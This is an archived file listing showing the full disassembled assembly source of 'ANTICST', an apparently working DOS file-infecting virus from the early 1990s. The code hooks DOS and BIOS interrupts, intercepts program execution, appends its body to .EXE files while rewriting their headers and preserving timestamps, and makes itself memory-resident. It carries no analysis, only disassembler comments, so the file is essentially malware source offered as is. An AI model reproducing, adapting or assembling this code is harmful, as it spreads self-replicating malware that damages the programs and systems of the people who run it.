home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / ANTICST.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  14KB  |  584 lines

  1.   
  2. PAGE  60,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    ANTICST                         ██
  7. ;██                                         ██
  8. ;██      Created:   4-Mar-91                             ██
  9. ;██                                         ██
  10. ;██████████████████████████████████████████████████████████████████████████
  11.   
  12. data_1e        equ    4Ch                ; (0000:004C=31h)
  13. data_2e        equ    4Eh                ; (0000:004E=70h)
  14. data_3e        equ    84h                ; (0000:0084=0E3h)
  15. data_4e        equ    86h                ; (0000:0086=161Ah)
  16. data_5e        equ    90h                ; (0000:0090=8Eh)
  17. data_6e        equ    92h                ; (0000:0092=1498h)
  18. data_7e        equ    102h                ; (0000:0102=0CC00h)
  19. data_8e        equ    106h                ; (0000:0106=326h)
  20. data_9e        equ    47Bh                ; (0000:047B=0)
  21. data_10e    equ    0                ; (0326:0000=6A7h)
  22. data_11e    equ    2                ; (0326:0002=70h)
  23. data_12e    equ    0                ; (06A0:0000=65h)
  24. data_13e    equ    1                ; (06A1:0001=3028h)
  25. data_14e    equ    2                ; (06E3:0002=2342h)
  26. data_15e    equ    6                ; (06E3:0006=2344h)
  27. data_33e    equ    0FD89h                ; (701E:FD89=0)
  28. data_34e    equ    0FD8Bh                ; (701E:FD8B=0)
  29. data_35e    equ    0FDA1h                ; (701E:FDA1=0)
  30. data_36e    equ    0FDA3h                ; (701E:FDA3=0)
  31. data_37e    equ    0FDABh                ; (701E:FDAB=0)
  32. data_38e    equ    0FDB5h                ; (701E:FDB5=0)
  33. data_39e    equ    0FDB7h                ; (701E:FDB7=0)
  34. data_40e    equ    0FDBDh                ; (701E:FDBD=0)
  35. data_41e    equ    0FDBFh                ; (701E:FDBF=0)
  36.   
  37. code_seg_a    segment
  38.         assume    cs:code_seg_a, ds:code_seg_a
  39.   
  40.   
  41.         org    100h
  42.   
  43. anticst        proc    far
  44.   
  45. start:
  46. data_16        dw    73E9h
  47. data_17        dw    0C302h
  48.         db    23 dup (0C3h)
  49. data_19        dw    0C3C3h
  50. data_20        dw    0C3C3h
  51.         db    2Ah, 2Eh, 5Ah, 49h, 50h
  52.         db    0
  53. data_22        dw    0
  54. data_23        dw    0
  55. data_24        dw    0
  56. data_25        dw    0
  57. data_26        dw    0
  58. data_27        dd    00000h
  59. data_28        dw    0
  60. data_29        dw    0
  61. data_30        dd    00000h
  62. data_31        dw    0
  63. data_32        dw    0
  64.         db    40h, 3Dh, 4Dh, 4Bh, 75h, 9
  65.         db    55h, 8Bh, 0ECh, 83h, 66h, 6
  66.         db    0FEh, 5Dh, 0CFh, 80h, 0FCh, 4Bh
  67.         db    74h, 12h, 3Dh, 0, 3Dh, 74h
  68.         db    0Dh, 3Dh, 0, 6Ch, 75h, 5
  69.         db    80h, 0FBh, 0, 74h, 3
  70. loc_1:
  71.         jmp    loc_12
  72. loc_2:
  73.         push    es
  74.         push    ds
  75.         push    di
  76.         push    si
  77.         push    bp
  78.         push    dx
  79.         push    cx
  80.         push    bx
  81.         push    ax
  82.         call    sub_5
  83.         call    sub_6
  84.         cmp    ax,6C00h
  85.         jne    loc_3                ; Jump if not equal
  86.         mov    dx,si
  87. loc_3:
  88.         mov    cx,80h
  89.         mov    si,dx
  90.   
  91. locloop_4:
  92.         inc    si
  93.         mov    al,[si]
  94.         nop
  95.         or    al,al                ; Zero ?
  96.         loopnz    locloop_4            ; Loop if zf=0, cx>0
  97.   
  98.         sub    si,2
  99.         cmp    word ptr [si],4558h
  100.         je    loc_6                ; Jump if equal
  101. loc_5:
  102.         jmp    short loc_11
  103.         db    90h
  104. loc_6:
  105.         cmp    word ptr [si-2],452Eh
  106.         nop
  107.         jz    loc_7                ; Jump if zero
  108.         jmp    short loc_5
  109. loc_7:
  110.         mov    ax,3D02h
  111.         call    sub_4
  112.         jc    loc_11                ; Jump if carry Set
  113.         mov    bx,ax
  114.         mov    ax,5700h
  115.         call    sub_4
  116.         mov    cs:data_23,cx            ; (701E:0127=0)
  117.         mov    cs:data_24,dx            ; (701E:0129=0)
  118.         mov    ax,4200h
  119.         xor    cx,cx                ; Zero register
  120.         xor    dx,dx                ; Zero register
  121.         call    sub_4
  122.         push    cs
  123.         pop    ds
  124.         mov    dx,103h
  125.         mov    si,dx
  126.         mov    cx,18h
  127.         mov    ah,3Fh                ; '?'
  128.         call    sub_4
  129.         jc    loc_9                ; Jump if carry Set
  130.         cmp    word ptr [si],5A4Dh
  131.         jne    loc_8                ; Jump if not equal
  132.         call    sub_1
  133.         jmp    short loc_9
  134. loc_8:
  135.         jmp    short loc_9
  136. loc_9:
  137.         jc    loc_10                ; Jump if carry Set
  138.         mov    ax,5701h
  139.         mov    cx,cs:data_23            ; (701E:0127=0)
  140.         mov    dx,cs:data_24            ; (701E:0129=0)
  141.         call    sub_4
  142. loc_10:
  143.         mov    ah,3Eh                ; '>'
  144.         call    sub_4
  145. loc_11:
  146.         call    sub_6
  147.         pop    ax
  148.         pop    bx
  149.         pop    cx
  150.         pop    dx
  151.         pop    bp
  152.         pop    si
  153.         pop    di
  154.         pop    ds
  155.         pop    es
  156. loc_12:
  157.         jmp    cs:data_27            ; (701E:012F=0)
  158.   
  159. anticst        endp
  160.   
  161. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  162. ;                   SUBROUTINE
  163. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  164.   
  165. sub_1        proc    near
  166.         mov    dx,10h
  167.         mov    ah,1Ah
  168.         int    21h                ; DOS Services  ah=function 1Ah
  169.                             ;  set DTA to ds:dx
  170.         mov    dx,11Fh
  171.         mov    cx,110Bh
  172.         mov    ah,4Eh                ; 'N'
  173.         int    21h                ; DOS Services  ah=function 4Eh
  174.                             ;  find 1st filenam match @ds:dx
  175.         mov    dx,2Eh
  176.         mov    ax,3D02h
  177.         int    21h                ; DOS Services  ah=function 3Dh
  178.                             ;  open file, al=mode,name@ds:dx
  179.         mov    ah,41h                ; 'A'
  180.         int    21h                ; DOS Services  ah=function 41h
  181.                             ;  delete file, name @ ds:dx
  182.         mov    cx,[si+16h]
  183.         add    cx,[si+8]
  184.         mov    ax,10h
  185.         mul    cx                ; dx:ax = reg * ax
  186.         add    ax,[si+14h]
  187.         adc    dx,0
  188.         push    dx
  189.         push    ax
  190.         mov    ax,4202h
  191.         xor    cx,cx                ; Zero register
  192.         xor    dx,dx                ; Zero register
  193.         call    sub_4
  194.         cmp    dx,0
  195.         jne    loc_13                ; Jump if not equal
  196.         cmp    ax,3F0h
  197.         jae    loc_13                ; Jump if above or =
  198.         pop    ax
  199.         pop    dx
  200.         stc                    ; Set carry flag
  201.         ret
  202. loc_13:
  203.         mov    di,ax
  204.         mov    bp,dx
  205.         pop    cx
  206.         sub    ax,cx
  207.         pop    cx
  208.         sbb    dx,cx
  209.         cmp    word ptr [si+0Ch],0
  210.         je    loc_ret_16            ; Jump if equal
  211.         cmp    dx,0
  212.         jne    loc_14                ; Jump if not equal
  213.         cmp    ax,3F0h
  214.         jne    loc_14                ; Jump if not equal
  215.         stc                    ; Set carry flag
  216.         ret
  217. loc_14:
  218.         mov    dx,bp
  219.         mov    ax,di
  220.         push    dx
  221.         push    ax
  222.         add    ax,3F0h
  223.         adc    dx,0
  224.         mov    cx,200h
  225.         div    cx                ; ax,dx rem=dx:ax/reg
  226.         les    di,dword ptr [si+2]        ; Load 32 bit ptr
  227.         mov    cs:data_25,di            ; (701E:012B=0)
  228.         mov    cs:data_26,es            ; (701E:012D=0)
  229.         mov    [si+2],dx
  230.         cmp    dx,0
  231.         je    loc_15                ; Jump if equal
  232.         inc    ax
  233. loc_15:
  234.         mov    [si+4],ax
  235.         pop    ax
  236.         pop    dx
  237.         call    sub_2
  238.         sub    ax,[si+8]
  239.         les    di,dword ptr [si+14h]        ; Load 32 bit ptr
  240.         mov    data_19,di            ; (701E:011B=0C3C3h)
  241.         mov    data_20,es            ; (701E:011D=0C3C3h)
  242.         mov    [si+14h],dx
  243.         mov    [si+16h],ax
  244.         mov    data_22,ax            ; (701E:0125=0)
  245.         mov    ax,4202h
  246.         xor    cx,cx                ; Zero register
  247.         xor    dx,dx                ; Zero register
  248.         call    sub_4
  249.         call    sub_3
  250.         jc    loc_ret_16            ; Jump if carry Set
  251.         mov    ax,4200h
  252.         xor    cx,cx                ; Zero register
  253.         xor    dx,dx                ; Zero register
  254.         call    sub_4
  255.         mov    ah,40h                ; '@'
  256.         mov    dx,si
  257.         mov    cx,18h
  258.         call    sub_4
  259.   
  260. loc_ret_16:
  261.         ret
  262. sub_1        endp
  263.   
  264.   
  265. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  266. ;                   SUBROUTINE
  267. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  268.   
  269. sub_2        proc    near
  270.         mov    cx,4
  271.         mov    di,ax
  272.         and    di,0Fh
  273.   
  274. locloop_17:
  275.         shr    dx,1                ; Shift w/zeros fill
  276.         rcr    ax,1                ; Rotate thru carry
  277.         loop    locloop_17            ; Loop if cx > 0
  278.   
  279.         mov    dx,di
  280.         ret
  281. sub_2        endp
  282.   
  283.   
  284. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  285. ;                   SUBROUTINE
  286. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  287.   
  288. sub_3        proc    near
  289.         mov    ah,40h                ; '@'
  290.         mov    cx,3F0h
  291.         mov    dx,100h
  292.         call    sub_5
  293.         jmp    short loc_18
  294.         db    90h
  295.   
  296. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  297.   
  298. sub_4:
  299. loc_18:
  300.         pushf                    ; Push flags
  301.         call    cs:data_27            ; (701E:012F=0)
  302.         ret
  303. sub_3        endp
  304.   
  305.   
  306. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  307. ;                   SUBROUTINE
  308. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  309.   
  310. sub_5        proc    near
  311.         push    ax
  312.         push    ds
  313.         push    es
  314.         xor    ax,ax                ; Zero register
  315.         push    ax
  316.         pop    ds
  317.         cli                    ; Disable interrupts
  318.         les    ax,dword ptr ds:data_5e        ; (0000:0090=18Eh) Load 32 bit ptr
  319.         mov    cs:data_28,ax            ; (701E:0133=0)
  320.         mov    cs:data_29,es            ; (701E:0135=0)
  321.         mov    ax,35Eh
  322.         mov    ds:data_5e,ax            ; (0000:0090=18Eh)
  323.         mov    ds:data_6e,cs            ; (0000:0092=1498h)
  324.         les    ax,dword ptr ds:data_1e        ; (0000:004C=831h) Load 32 bit ptr
  325.         mov    cs:data_31,ax            ; (701E:013B=0)
  326.         mov    cs:data_32,es            ; (701E:013D=0)
  327.         les    ax,cs:data_30            ; (701E:0137=0) Load 32 bit ptr
  328.         mov    ds:data_1e,ax            ; (0000:004C=831h)
  329.         mov    ds:data_2e,es            ; (0000:004E=70h)
  330.         sti                    ; Enable interrupts
  331.         pop    es
  332.         pop    ds
  333.         pop    ax
  334.         ret
  335. sub_5        endp
  336.   
  337.   
  338. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  339. ;                   SUBROUTINE
  340. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  341.   
  342. sub_6        proc    near
  343.         push    ax
  344.         push    ds
  345.         push    es
  346.         xor    ax,ax                ; Zero register
  347.         push    ax
  348.         pop    ds
  349.         cli                    ; Disable interrupts
  350.         les    ax,dword ptr cs:data_28        ; (701E:0133=0) Load 32 bit ptr
  351.         mov    ds:data_5e,ax            ; (0000:0090=18Eh)
  352.         mov    ds:data_6e,es            ; (0000:0092=1498h)
  353.         les    ax,dword ptr cs:data_31        ; (701E:013B=0) Load 32 bit ptr
  354.         mov    ds:data_1e,ax            ; (0000:004C=831h)
  355.         mov    ds:data_2e,es            ; (0000:004E=70h)
  356.         sti                    ; Enable interrupts
  357.         pop    es
  358.         pop    ds
  359.         pop    ax
  360.         ret
  361. sub_6        endp
  362.   
  363.         db    0B0h, 3, 0CFh
  364.   
  365. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  366. ;                   SUBROUTINE
  367. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  368.   
  369. sub_7        proc    near
  370.         mov    dx,10h
  371.         mul    dx                ; dx:ax = reg * ax
  372.         ret
  373. sub_7        endp
  374.   
  375.   
  376. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  377. ;                   SUBROUTINE
  378. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  379.   
  380. sub_8        proc    near
  381.         xor    ax,ax                ; Zero register
  382.         xor    bx,bx                ; Zero register
  383.         xor    cx,cx                ; Zero register
  384.         xor    dx,dx                ; Zero register
  385.         xor    si,si                ; Zero register
  386.         xor    di,di                ; Zero register
  387.         xor    bp,bp                ; Zero register
  388.         ret
  389. sub_8        endp
  390.   
  391.         db    1Eh, 0E8h, 0, 0
  392.   
  393. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  394. ;                   SUBROUTINE
  395. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  396.   
  397. sub_9        proc    near
  398.         mov    ax,4B4Dh
  399.         int    21h                ; DOS Services  ah=function 4Bh
  400.                             ;  run progm @ds:dx, parm @es:bx
  401.         jc    loc_19                ; Jump if carry Set
  402.         jmp    loc_29
  403. loc_19:
  404.         pop    si
  405.         push    si
  406.         mov    di,si
  407.         xor    ax,ax                ; Zero register
  408.         push    ax
  409.         pop    ds
  410.         les    ax,dword ptr ds:data_1e        ; (0000:004C=831h) Load 32 bit ptr
  411.         mov    cs:data_40e[si],ax        ; (701E:FDBD=0)
  412.         mov    cs:data_41e[si],es        ; (701E:FDBF=0)
  413.         les    bx,dword ptr ds:data_3e        ; (0000:0084=6E3h) Load 32 bit ptr
  414.         mov    cs:data_38e[di],bx        ; (701E:FDB5=0)
  415.         mov    cs:data_39e[di],es        ; (701E:FDB7=0)
  416.         mov    ax,ds:data_7e            ; (0000:0102=0CC00h)
  417.         cmp    ax,0F000h
  418.         jne    loc_27                ; Jump if not equal
  419.         mov    dl,80h
  420.         mov    ax,ds:data_8e            ; (0000:0106=326h)
  421.         cmp    ax,0F000h
  422.         je    loc_20                ; Jump if equal
  423.         cmp    ah,0C8h
  424.         jb    loc_27                ; Jump if below
  425.         cmp    ah,0F4h
  426.         jae    loc_27                ; Jump if above or =
  427.         test    al,7Fh
  428.         jnz    loc_27                ; Jump if not zero
  429.         mov    ds,ax
  430.         cmp    word ptr ds:data_10e,0AA55h    ; (0326:0000=6A7h)
  431.         jne    loc_27                ; Jump if not equal
  432.         mov    dl,ds:data_11e            ; (0326:0002=70h)
  433. loc_20:
  434.         mov    ds,ax
  435.         xor    dh,dh                ; Zero register
  436.         mov    cl,9
  437.         shl    dx,cl                ; Shift w/zeros fill
  438.         mov    cx,dx
  439.         xor    si,si                ; Zero register
  440.   
  441. locloop_21:
  442.         lodsw                    ; String [si] to ax
  443.         cmp    ax,0FA80h
  444.         jne    loc_22                ; Jump if not equal
  445.         lodsw                    ; String [si] to ax
  446.         cmp    ax,7380h
  447.         je    loc_23                ; Jump if equal
  448.         jnz    loc_24                ; Jump if not zero
  449. loc_22:
  450.         cmp    ax,0C2F6h
  451.         jne    loc_25                ; Jump if not equal
  452.         lodsw                    ; String [si] to ax
  453.         cmp    ax,7580h
  454.         jne    loc_24                ; Jump if not equal
  455. loc_23:
  456.         inc    si
  457.         lodsw                    ; String [si] to ax
  458.         cmp    ax,40CDh
  459.         je    loc_26                ; Jump if equal
  460.         sub    si,3
  461. loc_24:
  462.         dec    si
  463.         dec    si
  464. loc_25:
  465.         dec    si
  466.         loop    locloop_21            ; Loop if cx > 0
  467.   
  468.         jmp    short loc_27
  469. loc_26:
  470.         sub    si,7
  471.         mov    cs:data_40e[di],si        ; (701E:FDBD=0)
  472.         mov    cs:data_41e[di],ds        ; (701E:FDBF=0)
  473. loc_27:
  474.         mov    ah,62h                ; 'b'
  475.         int    21h                ; DOS Services  ah=function 62h
  476.                             ;  get progrm seg prefix addr bx
  477.         mov    es,bx
  478.         mov    ah,49h                ; 'I'
  479.         int    21h                ; DOS Services  ah=function 49h
  480.                             ;  release memory block, es=seg
  481.         mov    bx,0FFFFh
  482.         mov    ah,48h                ; 'H'
  483.         int    21h                ; DOS Services  ah=function 48h
  484.                             ;  allocate memory, bx=bytes/16
  485.         sub    bx,41h
  486.         nop
  487.         jc    loc_29                ; Jump if carry Set
  488.         mov    cx,es
  489.         stc                    ; Set carry flag
  490.         adc    cx,bx
  491.         mov    ah,4Ah                ; 'J'
  492.         int    21h                ; DOS Services  ah=function 4Ah
  493.                             ;  change mem allocation, bx=siz
  494.         mov    bx,40h
  495.         stc                    ; Set carry flag
  496.         sbb    es:data_14e,bx            ; (06E3:0002=2342h)
  497.         push    es
  498.         mov    es,cx
  499.         mov    ah,4Ah                ; 'J'
  500.         int    21h                ; DOS Services  ah=function 4Ah
  501.                             ;  change mem allocation, bx=siz
  502.         mov    ax,es
  503.         dec    ax
  504.         mov    ds,ax
  505.         mov    word ptr ds:data_13e,8        ; (06A1:0001=6220h)
  506.         call    sub_7
  507.         mov    bx,ax
  508.         mov    cx,dx
  509.         pop    ds
  510.         mov    ax,ds
  511.         call    sub_7
  512.         add    ax,ds:data_15e            ; (06E3:0006=2344h)
  513.         adc    dx,0
  514.         sub    ax,bx
  515.         sbb    dx,cx
  516.         jc    loc_28                ; Jump if carry Set
  517.         sub    ds:data_15e,ax            ; (06E3:0006=2344h)
  518. loc_28:
  519.         mov    si,di
  520.         xor    di,di                ; Zero register
  521.         push    cs
  522.         pop    ds
  523.         sub    si,27Ah
  524.         mov    cx,3F0h
  525.         inc    cx
  526.         rep    movsb                ; Rep while cx>0 Mov [si] to es:[di]
  527.         mov    ah,62h                ; 'b'
  528.         int    21h                ; DOS Services  ah=function 62h
  529.                             ;  get progrm seg prefix addr bx
  530.         dec    bx
  531.         mov    ds,bx
  532.         mov    byte ptr ds:data_12e,5Ah    ; (06A0:0000=65h) 'Z'
  533.         mov    dx,140h
  534.         xor    ax,ax                ; Zero register
  535.         push    ax
  536.         pop    ds
  537.         mov    ax,es
  538.         sub    ax,10h
  539.         mov    es,ax
  540.         cli                    ; Disable interrupts
  541.         mov    ds:data_3e,dx            ; (0000:0084=6E3h)
  542.         mov    ds:data_4e,es            ; (0000:0086=161Ah)
  543.         sti                    ; Enable interrupts
  544.         dec    byte ptr ds:data_9e        ; (0000:047B=0)
  545. loc_29:
  546.         pop    si
  547.         cmp    word ptr cs:data_33e[si],5A4Dh    ; (701E:FD89=0)
  548.         jne    loc_30                ; Jump if not equal
  549.         pop    ds
  550.         mov    ax,cs:data_37e[si]        ; (701E:FDAB=0)
  551.         mov    bx,cs:data_36e[si]        ; (701E:FDA3=0)
  552.         push    cs
  553.         pop    cx
  554.         sub    cx,ax
  555.         add    cx,bx
  556.         push    cx
  557.         push    word ptr cs:data_35e[si]    ; (701E:FDA1=0)
  558.         push    ds
  559.         pop    es
  560.         call    sub_8
  561.         ret                    ; Return far
  562. loc_30:
  563.         pop    ax
  564.         mov    ax,cs:data_33e[si]        ; (701E:FD89=0)
  565.         mov    cs:data_16,ax            ; (701E:0100=73E9h)
  566.         mov    ax,cs:data_34e[si]        ; (701E:FD8B=0)
  567.         mov    cs:data_17,ax            ; (701E:0102=0C302h)
  568.         mov    ax,100h
  569.         push    ax
  570.         push    cs
  571.         pop    ds
  572.         push    ds
  573.         pop    es
  574.         call    sub_8
  575.         ret
  576. sub_9        endp
  577.   
  578.   
  579. code_seg_a    ends
  580.   
  581.   
  582.   
  583.         end    start
  584.